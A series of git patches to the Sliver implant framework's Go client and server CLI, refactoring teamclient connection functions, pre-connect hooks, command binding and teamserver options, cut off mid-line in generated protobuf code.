b/client/command/console/console.go index a53e2ae533..8570ffb9f3 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -26,6 +26,12 @@ import ( "github.com/spf13/cobra" ) +// Command returns the closed-loop Sliver console command. +// +// The latter requires only the set of "server" commands, that is, all commands that +// do not require an active target to run on. This is only because sliver-client/server +// binaries are distinct, and the implant command tree does not care about this, so it +// is always the same in the console. func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Command { consoleCmd := &cobra.Command{ Use: "console", diff --git a/server/cli/cli.go b/server/cli/cli.go index 2bef0643f9..2273866bd2 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -183,7 +183,5 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c // // teamserver.ListenerStartPersistents() // Automatically logged errors. // // // console.StartPersistentJobs(serverConfig) // Old alternative // // } -// -// console.StartClient(con, nil, nil) // return nil // } From 9d769759e1324b922573eb3b5f22fcceb24f5322 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 22:40:04 +0200 Subject: [PATCH 061/124] Move console connection funcs --- client/console/console.go | 94 ---------------------------- client/console/teamclient.go | 116 ++++++++++++++++++++++++++++++++--- 2 files changed, 109 insertions(+), 101 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index f00b5f0fb6..3ab821814a 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -33,7 +33,6 @@ import ( "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" @@ -43,7 +42,6 @@ import ( "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" - "github.com/rsteube/carapace" "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/grpc" @@ -215,86 +213,6 @@ func newClient() *SliverClient { return con } -// ConnectRun is a spf13/cobra-compliant runner function to be included -// in/as any of the runners that such cobra.Commands offer to use. -// -// The function will connect the Sliver teamclient to a remote server, -// register its client RPC interfaces, and start handling events/log streams. -// -// Note that this function will always check if it used as part of a completion -// command execution call, in which case asciicast/logs streaming is disabled. -func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { - // Let our teamclient connect the transport/RPC stack. - // Note that this uses a sync.Once to ensure we don't - // connect more than once. - err := con.Teamclient.Connect() - if err != nil { - return err - } - - // Register our Sliver client services, and monitor events. - // Also set ourselves up to save our client commands in history. - con.connect(con.dialer.Conn) - - // Never enable asciicasts/logs streaming when this - // client is used to perform completions. Both of these will tinker - // with very low-level IO and very often don't work nice together. - if compCommandCalled(cmd) { - return nil - } - - // Else, initialize our logging/asciicasts streams. - return con.startClientLog() -} - -// ConnectComplete is a special connection mode which should be -// called in completer functions that need to use the client RPC. -// It is almost equivalent to client.ConnectRun(), but for completions. -// -// If the connection failed, an error is returned along with a completion -// action include the error as a status message, to be returned by completers. -// -// This function is safe to call regardless of the client being used -// as a closed-loop console mode or in an exec-once CLI mode. -func (con *SliverClient) ConnectComplete() (carapace.Action, error) { - err := con.Teamclient.Connect() - if err != nil { - return carapace.ActionMessage("connection error: %s", err), nil - } - - return carapace.ActionValues(), nil -} - -// connect requires a working gRPC connection to the sliver server. -// It starts monitoring events, implant tunnels and client logs streams. -func (con *SliverClient) connect(conn *grpc.ClientConn) { - con.Rpc = rpcpb.NewSliverRPCClient(conn) - - // Events - go con.startEventLoop() - go core.TunnelLoop(con.Rpc) - - // History sources - sliver := con.App.Menu(consts.ImplantMenu) - - histuser, err := con.newImplantHistory(true) - if err == nil { - sliver.AddHistorySource("implant history (user)", histuser) - } - - histAll, err := con.newImplantHistory(false) - if err == nil { - sliver.AddHistorySource("implant history (all users)", histAll) - } - - con.ActiveTarget.hist = histAll - - con.closeLogs = append(con.closeLogs, func() { - histuser.Close() - histAll.Close() - }) -} - // StartConsole is a blocking call that starts the Sliver closed console. // The command/events/log outputs use the specific-console fmt.Printer, // because the console needs to query the terminal for cursor positions @@ -305,18 +223,6 @@ func (con *SliverClient) StartConsole() error { return con.App.Start() } -// Disconnect disconnectss the client from its Sliver server, -// closing all its event/log streams and files, then closing -// the core Sliver RPC client connection. -// After this call, the client can reconnect should it want to. -func (con *SliverClient) Disconnect() error { - // Close all RPC streams and local files. - con.closeClientStreams() - - // Close the RPC client connection. - return con.Teamclient.Disconnect() -} - // Expose or hide commands if the active target does support them (or not). // Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. func (con *SliverClient) ExposeCommands() { diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 1aaae8af9d..07eff8dc98 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -23,22 +23,94 @@ import ( "errors" "time" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/reeflective/team" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "google.golang.org/grpc" "google.golang.org/grpc/status" ) +// ConnectRun is a spf13/cobra-compliant runner function to be included +// in/as any of the runners that such cobra.Commands offer to use. +// +// The function will connect the Sliver teamclient to a remote server, +// register its client RPC interfaces, and start handling events/log streams. +// +// Note that this function will always check if it used as part of a completion +// command execution call, in which case asciicast/logs streaming is disabled. +func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { + // Let our teamclient connect the transport/RPC stack. + // Note that this uses a sync.Once to ensure we don't + // connect more than once. + err := con.Teamclient.Connect() + if err != nil { + return err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + // Never enable asciicasts/logs streaming when this + // client is used to perform completions. Both of these will tinker + // with very low-level IO and very often don't work nice together. + if compCommandCalled(cmd) { + return nil + } + + // Else, initialize our logging/asciicasts streams. + return con.startClientLog() +} + +// ConnectComplete is a special connection mode which should be +// called in completer functions that need to use the client RPC. +// It is almost equivalent to client.ConnectRun(), but for completions. +// +// If the connection failed, an error is returned along with a completion +// action include the error as a status message, to be returned by completers. +// +// This function is safe to call regardless of the client being used +// as a closed-loop console mode or in an exec-once CLI mode. +func (con *SliverClient) ConnectComplete() (carapace.Action, error) { + err := con.Teamclient.Connect() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), nil + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + return carapace.ActionValues(), nil +} + +// Disconnect disconnects the client from its Sliver server, +// closing all its event/log streams and files, then closing +// the core Sliver RPC client connection. +// After this call, the client can reconnect should it want to. +func (con *SliverClient) Disconnect() error { + // Close all RPC streams and local files. + con.closeClientStreams() + + // Close the RPC client connection. + return con.Teamclient.Disconnect() +} + // Users returns a list of all users registered with the app teamserver. // If the gRPC teamclient is not connected or does not have an RPC client, // an ErrNoRPC is returned. -func (h *SliverClient) Users() (users []team.User, err error) { - if h.Rpc == nil { +func (con *SliverClient) Users() (users []team.User, err error) { + if con.Rpc == nil { return nil, errors.New("No Sliver client RPC") } - res, err := h.Rpc.GetUsers(context.Background(), &commonpb.Empty{}) + res, err := con.Rpc.GetUsers(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, h.UnwrapServerErr(err) + return nil, con.UnwrapServerErr(err) } for _, user := range res.GetUsers() { @@ -54,12 +126,12 @@ func (h *SliverClient) Users() (users []team.User, err error) { // ServerVersion returns the version information of the server to which // the client is connected, or nil and an error if it could not retrieve it. -func (h *SliverClient) Version() (version team.Version, err error) { - if h.Rpc == nil { +func (con *SliverClient) Version() (version team.Version, err error) { + if con.Rpc == nil { return version, errors.New("No Sliver client RPC") } - ver, err := h.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + ver, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { return version, errors.New(status.Convert(err).Message()) } @@ -75,3 +147,33 @@ func (h *SliverClient) Version() (version team.Version, err error) { Arch: ver.Arch, }, nil } + +// connect requires a working gRPC connection to the sliver server. +// It starts monitoring events, implant tunnels and client logs streams. +func (con *SliverClient) connect(conn *grpc.ClientConn) { + con.Rpc = rpcpb.NewSliverRPCClient(conn) + + // Events + go con.startEventLoop() + go core.TunnelLoop(con.Rpc) + + // History sources + sliver := con.App.Menu(consts.ImplantMenu) + + histuser, err := con.newImplantHistory(true) + if err == nil { + sliver.AddHistorySource("implant history (user)", histuser) + } + + histAll, err := con.newImplantHistory(false) + if err == nil { + sliver.AddHistorySource("implant history (all users)", histAll) + } + + con.ActiveTarget.hist = histAll + + con.closeLogs = append(con.closeLogs, func() { + histuser.Close() + histAll.Close() + }) +} From 6debdb8fea147af5a2477a75ae00f36347853be5 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 30 Jul 2023 02:09:07 +0200 Subject: [PATCH 062/124] Fixes/tweaks to final command output printing --- client/cli/cli.go | 2 -- client/command/server.go | 1 + client/console/teamclient.go | 23 +++++++++++++++++++++++ server/cli/cli.go | 2 -- 4 files changed, 24 insertions(+), 4 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 7aa4bd9bab..206d01ae5f 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -19,7 +19,6 @@ package cli */ import ( - "fmt" "os" "github.com/bishopfox/sliver/client/command" @@ -56,7 +55,6 @@ func Execute() { // Run the sliver client binary. if err := rootCmd.Execute(); err != nil { - fmt.Println(err) os.Exit(1) } } diff --git a/client/command/server.go b/client/command/server.go index abcdd7f2be..73225d9844 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -60,6 +60,7 @@ func ServerCommands(con *client.SliverClient, serverCmds CommandBinder) console. server := &cobra.Command{ Short: "Server commands", TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 07eff8dc98..207f665c7d 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -43,6 +43,11 @@ import ( // Note that this function will always check if it used as part of a completion // command execution call, in which case asciicast/logs streaming is disabled. func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { + // Some commands don't need a remote teamserver connection. + if con.isOffline(cmd) { + return nil + } + // Let our teamclient connect the transport/RPC stack. // Note that this uses a sync.Once to ensure we don't // connect more than once. @@ -177,3 +182,21 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { histAll.Close() }) } + +// WARN: this is the premise of a big burden. Please bear this in mind. +// If I haven't speaked to you about it, or if you're not sure of what +// that means, ping me up and ask. +func (con *SliverClient) isOffline(cmd *cobra.Command) bool { + // Teamclient configuration import does not need network. + ts, _, err := cmd.Root().Find([]string{"teamserver", "client", "import"}) + if err == nil && ts != nil && ts == cmd { + return true + } + + tc, _, err := cmd.Root().Find([]string{"teamclient", "import"}) + if err == nil && ts != nil && tc == cmd { + return true + } + + return false +} diff --git a/server/cli/cli.go b/server/cli/cli.go index 2273866bd2..e2fed0376e 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -19,7 +19,6 @@ package cli */ import ( - "fmt" "os" // CLI dependencies @@ -92,7 +91,6 @@ func Execute() { // set above in the code has been given a single hook to register its RPC backend. // The call blocks like your old daemon command, and works _just the same_. if err := rootCmd.Execute(); err != nil { - fmt.Println(err) os.Exit(1) } } From 2af630e46016638f2379449904ac754c4e898374 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 30 Jul 2023 02:53:41 +0200 Subject: [PATCH 063/124] Keep tidying --- client/command/server.go | 4 +-- client/console/console.go | 6 +++-- client/console/teamclient.go | 39 +++++++++++++++++++++++++--- server/cli/cli.go | 47 ++++++++-------------------------- server/command/server.go | 49 ++++++++++++++++++++++++++++++++++++ 5 files changed, 102 insertions(+), 43 deletions(-) create mode 100644 server/command/server.go diff --git a/client/command/server.go b/client/command/server.go index 73225d9844..0af107fe39 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -51,11 +51,11 @@ import ( "github.com/spf13/cobra" ) -type CommandBinder func(con *client.SliverClient) []*cobra.Command +type SliverBinder func(con *client.SliverClient) []*cobra.Command // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverClient, serverCmds CommandBinder) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", diff --git a/client/console/console.go b/client/console/console.go index 3ab821814a..cabc315640 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -107,8 +107,9 @@ type SliverClient struct { IsCLI bool // Teamclient & remotes - Teamclient *client.Client - dialer *transport.TeamClient + Teamclient *client.Client + dialer *transport.TeamClient + connectHooks []func() error // Logging jsonHandler slog.Handler @@ -146,6 +147,7 @@ func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { var clientOpts []client.Options clientOpts = append(clientOpts, + client.WithHomeDirectory(assets.GetRootAppDir()), client.WithDialer(con.dialer), ) diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 207f665c7d..bed430783a 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -48,10 +48,15 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { return nil } + err := con.runPreConnectHooks() + if err != nil { + return err + } + // Let our teamclient connect the transport/RPC stack. // Note that this uses a sync.Once to ensure we don't // connect more than once. - err := con.Teamclient.Connect() + err = con.Teamclient.Connect() if err != nil { return err } @@ -81,9 +86,15 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { // This function is safe to call regardless of the client being used // as a closed-loop console mode or in an exec-once CLI mode. func (con *SliverClient) ConnectComplete() (carapace.Action, error) { - err := con.Teamclient.Connect() + // This almost only ever runs teamserver-side pre-runs. + err := con.runPreConnectHooks() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), err + } + + err = con.Teamclient.Connect() if err != nil { - return carapace.ActionMessage("connection error: %s", err), nil + return carapace.ActionMessage("connection error: %s", err), err } // Register our Sliver client services, and monitor events. @@ -105,6 +116,14 @@ func (con *SliverClient) Disconnect() error { return con.Teamclient.Disconnect() } +// AddConnectHooks should be considered part of the temporary API. +// It is used to all the Sliver client to run hooks before running +// its own pre-connect handlers, and can thus be used to register +// server-only pre-run routines. +func (con *SliverClient) AddConnectHooks(hooks ...func() error) { + con.connectHooks = append(con.connectHooks, hooks...) +} + // Users returns a list of all users registered with the app teamserver. // If the gRPC teamclient is not connected or does not have an RPC client, // an ErrNoRPC is returned. @@ -183,6 +202,20 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { }) } +func (con *SliverClient) runPreConnectHooks() error { + for _, hook := range con.connectHooks { + if hook == nil { + continue + } + + if err := hook(); err != nil { + return err + } + } + + return nil +} + // WARN: this is the premise of a big burden. Please bear this in mind. // If I haven't speaked to you about it, or if you're not sure of what // that means, ping me up and ask. diff --git a/server/cli/cli.go b/server/cli/cli.go index e2fed0376e..b1840899e7 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -28,16 +28,12 @@ import ( // Teamserver/teamclient dependencies "github.com/reeflective/team/server" - "github.com/reeflective/team/server/commands" // Sliver Client core, and generic/server-only commands - "github.com/bishopfox/sliver/client/command" + clientCommand "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" - assetsCmds "github.com/bishopfox/sliver/server/command/assets" - builderCmds "github.com/bishopfox/sliver/server/command/builder" - certsCmds "github.com/bishopfox/sliver/server/command/certs" - "github.com/bishopfox/sliver/server/command/version" + "github.com/bishopfox/sliver/server/command" "github.com/bishopfox/sliver/server/encoders" "github.com/bishopfox/sliver/server/transport" @@ -66,6 +62,8 @@ func Execute() { panic(err) } + con.AddConnectHooks(preRunServer(teamserver, con)) + // Generate our complete Sliver Framework command-line interface. rootCmd, server := sliverServerCLI(teamserver, con) @@ -102,19 +100,19 @@ func Execute() { // // Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here). func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command, server console.Commands) { - teamserverCmds := teamserverCmds(team, con) + teamserverCmds := command.TeamserverCommands(team, con) // Generate a single tree instance of server commands: // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with // a pre-runner ensuring the server and its teamclient are set up and connected. - server = command.ServerCommands(con, teamserverCmds) + server = clientCommand.ServerCommands(con, teamserverCmds) root = server() root.Use = "sliver-server" // Needed by completion scripts. // Pre/post runners and completions. - command.BindRunners(root, true, preRunServer(team, con)) - command.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { + clientCommand.BindRunners(root, true, con.ConnectRun) + clientCommand.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { return con.Disconnect() }) @@ -124,28 +122,10 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra return root, server } -// Yielder function for server-binary only functions. -func teamserverCmds(teamserver *server.Server, con *client.SliverClient) func(con *client.SliverClient) (cmds []*cobra.Command) { - return func(con *client.SliverClient) (cmds []*cobra.Command) { - // Teamserver management - cmds = append(cmds, commands.Generate(teamserver, con.Teamclient)) - - // Sliver-specific - cmds = append(cmds, version.Commands(con)...) - cmds = append(cmds, assetsCmds.Commands()...) - cmds = append(cmds, certsCmds.Commands(con)...) - - // Commands requiring the server to be a remote teamclient. - cmds = append(cmds, builderCmds.Commands(con, teamserver)...) - - return cmds - } -} - // preRunServer is the server-binary-specific pre-run; it ensures that the server // has everything it needs to perform any client-side command/task. -func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { - return func(cmd *cobra.Command, args []string) error { +func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { + return func() error { // Ensure the server has what it needs. assets.Setup(false, true) encoders.Setup() // WARN: I added this here after assets.Setup(), but used to be in init. Is it wrong to put it here ? @@ -159,12 +139,7 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c // c2.StartPersistentJobs(serverConfig) // Let our in-memory teamclient be served. - err := teamserver.Serve(con.Teamclient) - if err != nil { - return err - } - - return con.ConnectRun(cmd, args) + return teamserver.Serve(con.Teamclient) } } diff --git a/server/command/server.go b/server/command/server.go new file mode 100644 index 0000000000..f8a328946f --- /dev/null +++ b/server/command/server.go @@ -0,0 +1,49 @@ +package command + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/server/command/assets" + "github.com/bishopfox/sliver/server/command/builder" + "github.com/bishopfox/sliver/server/command/certs" + "github.com/bishopfox/sliver/server/command/version" + "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" + "github.com/spf13/cobra" +) + +// TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones. +func TeamserverCommands(team *server.Server, con *console.SliverClient) command.SliverBinder { + return func(con *console.SliverClient) (cmds []*cobra.Command) { + // Teamserver management + cmds = append(cmds, commands.Generate(team, con.Teamclient)) + + // Sliver-specific + cmds = append(cmds, version.Commands(con)...) + cmds = append(cmds, assets.Commands()...) + cmds = append(cmds, certs.Commands(con)...) + + // Commands requiring the server to be a remote teamclient. + cmds = append(cmds, builder.Commands(con, team)...) + + return cmds + } +} From da42eab2b3b8060da7dba5edc15896cf10fe6a39 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 30 Jul 2023 02:58:32 +0200 Subject: [PATCH 064/124] Cleanup --- client/cli/cli.go | 4 ++-- client/command/server.go | 6 +++--- server/cli/cli.go | 6 ++++-- server/transport/server.go | 15 ++++++++++++--- 4 files changed, 21 insertions(+), 10 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 206d01ae5f..5c0f684d4d 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -88,8 +88,8 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command, server console.Co root.AddCommand(implantCmd(con, sliver)) // Pre/post runners and completions. - command.BindRunners(root, true, con.ConnectRun) - command.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { + command.BindPrePost(root, true, con.ConnectRun) + command.BindPrePost(root, false, func(_ *cobra.Command, _ []string) error { return con.Disconnect() }) diff --git a/client/command/server.go b/client/command/server.go index 0af107fe39..7f271c6140 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -151,13 +151,13 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C return serverCommands } -// BindRunners is used to register specific pre/post-runs for a given command/tree. +// BindPrePost is used to register specific pre/post-runs for a given command/tree. // // This function is special in that it will only bind the pre/post-runners to commands // in the tree if they have a non-nil Run/RunE function, or if they are leaf commands. // // This allows us to optimize client-to-server connections for things like completions. -func BindRunners(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ []string) error) { +func BindPrePost(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ []string) error) { for _, cmd := range root.Commands() { ePreE := cmd.PersistentPreRunE ePostE := cmd.PersistentPostRunE @@ -173,7 +173,7 @@ func BindRunners(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ // Always go to find the leaf commands, irrespective // of what we do with this parent command. if cmd.HasSubCommands() { - BindRunners(cmd, pre, runs...) + BindPrePost(cmd, pre, runs...) } // If the command has no runners, there's nothing to bind: diff --git a/server/cli/cli.go b/server/cli/cli.go index b1840899e7..f3925e637e 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -62,6 +62,8 @@ func Execute() { panic(err) } + // The server is also a client of itself, so add our sliver-server + // binary specific pre-run hooks: assets, encoders, toolchains, etc. con.AddConnectHooks(preRunServer(teamserver, con)) // Generate our complete Sliver Framework command-line interface. @@ -111,8 +113,8 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra root.Use = "sliver-server" // Needed by completion scripts. // Pre/post runners and completions. - clientCommand.BindRunners(root, true, con.ConnectRun) - clientCommand.BindRunners(root, false, func(_ *cobra.Command, _ []string) error { + clientCommand.BindPrePost(root, true, con.ConnectRun) + clientCommand.BindPrePost(root, false, func(_ *cobra.Command, _ []string) error { return con.Disconnect() }) diff --git a/server/transport/server.go b/server/transport/server.go index 0b7684553c..7ef8f19403 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -28,6 +28,9 @@ import ( "google.golang.org/grpc/test/bufconn" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/log" "github.com/bishopfox/sliver/server/rpc" ) @@ -56,9 +59,15 @@ func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err err // directories, and much more. var serverOpts []server.Options serverOpts = append(serverOpts, - server.WithDefaultPort(31337), - server.WithListener(tlsListener), - server.WithListener(tailscaleListener), + // Core directories/loggers. + server.WithHomeDirectory(assets.GetRootAppDir()), // ~/.sliver/ + server.WithLogger(log.RootLogger), // Logs to ~/.sliver/logs/sliver.{log,json} and audit.json + server.WithDatabase(db.Session()), // Uses our traditional ~/.sliver/sliver.db for storing users. + + // Network options/stacks + server.WithDefaultPort(31337), // Our now famous port. + server.WithListener(tlsListener), // Our legacy TCP+MTLS gRPC stack. + server.WithListener(tailscaleListener), // And our new Tailscale variant. ) // Create the application teamserver. From 27af8827185a9628724b906a9d4b3d931f7b05f3 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 30 Jul 2023 03:14:24 +0200 Subject: [PATCH 065/124] Most of the transition to team/server & team/client is done. --- protobuf/clientpb/client.pb.go | 4503 ++++++++++++++-------------- protobuf/clientpb/client.proto | 14 +- protobuf/rpcpb/services.pb.go | 2102 ++++++------- protobuf/rpcpb/services.proto | 3 +- protobuf/rpcpb/services_grpc.pb.go | 41 +- server/command/builder/builder.go | 43 +- server/rpc/rpc-teamclient.go | 73 + server/rpc/rpc.go | 33 +- 8 files changed, 3529 insertions(+), 3283 deletions(-) create mode 100644 server/rpc/rpc-teamclient.go diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index d182722f8d..1649d20030 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1115,7 +1115,125 @@ func (x *Version) GetArch() string { return "" } -// [ Client Logs ] ---------------------------------------- +type Users struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` +} + +func (x *Users) Reset() { + *x = Users{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Users) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Users) ProtoMessage() {} + +func (x *Users) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Users.ProtoReflect.Descriptor instead. +func (*Users) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{1} +} + +func (x *Users) GetUsers() []*User { + if x != nil { + return x.Users + } + return nil +} + +type User struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` + LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` + Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` +} + +func (x *User) Reset() { + *x = User{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *User) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*User) ProtoMessage() {} + +func (x *User) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use User.ProtoReflect.Descriptor instead. +func (*User) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{2} +} + +func (x *User) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *User) GetOnline() bool { + if x != nil { + return x.Online + } + return false +} + +func (x *User) GetLastSeen() int64 { + if x != nil { + return x.LastSeen + } + return 0 +} + +func (x *User) GetClients() int32 { + if x != nil { + return x.Clients + } + return 0 +} + +// [ Client Logs ] ------------------------------------------ type ClientLogData struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1128,7 +1246,7 @@ type ClientLogData struct { func (x *ClientLogData) Reset() { *x = ClientLogData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1141,7 +1259,7 @@ func (x *ClientLogData) String() string { func (*ClientLogData) ProtoMessage() {} func (x *ClientLogData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1154,7 +1272,7 @@ func (x *ClientLogData) ProtoReflect() protoreflect.Message { // Deprecated: Use ClientLogData.ProtoReflect.Descriptor instead. func (*ClientLogData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{1} + return file_clientpb_client_proto_rawDescGZIP(), []int{3} } func (x *ClientLogData) GetStream() string { @@ -1188,7 +1306,7 @@ type ImplantCommand struct { func (x *ImplantCommand) Reset() { *x = ImplantCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1201,7 +1319,7 @@ func (x *ImplantCommand) String() string { func (*ImplantCommand) ProtoMessage() {} func (x *ImplantCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1214,7 +1332,7 @@ func (x *ImplantCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead. func 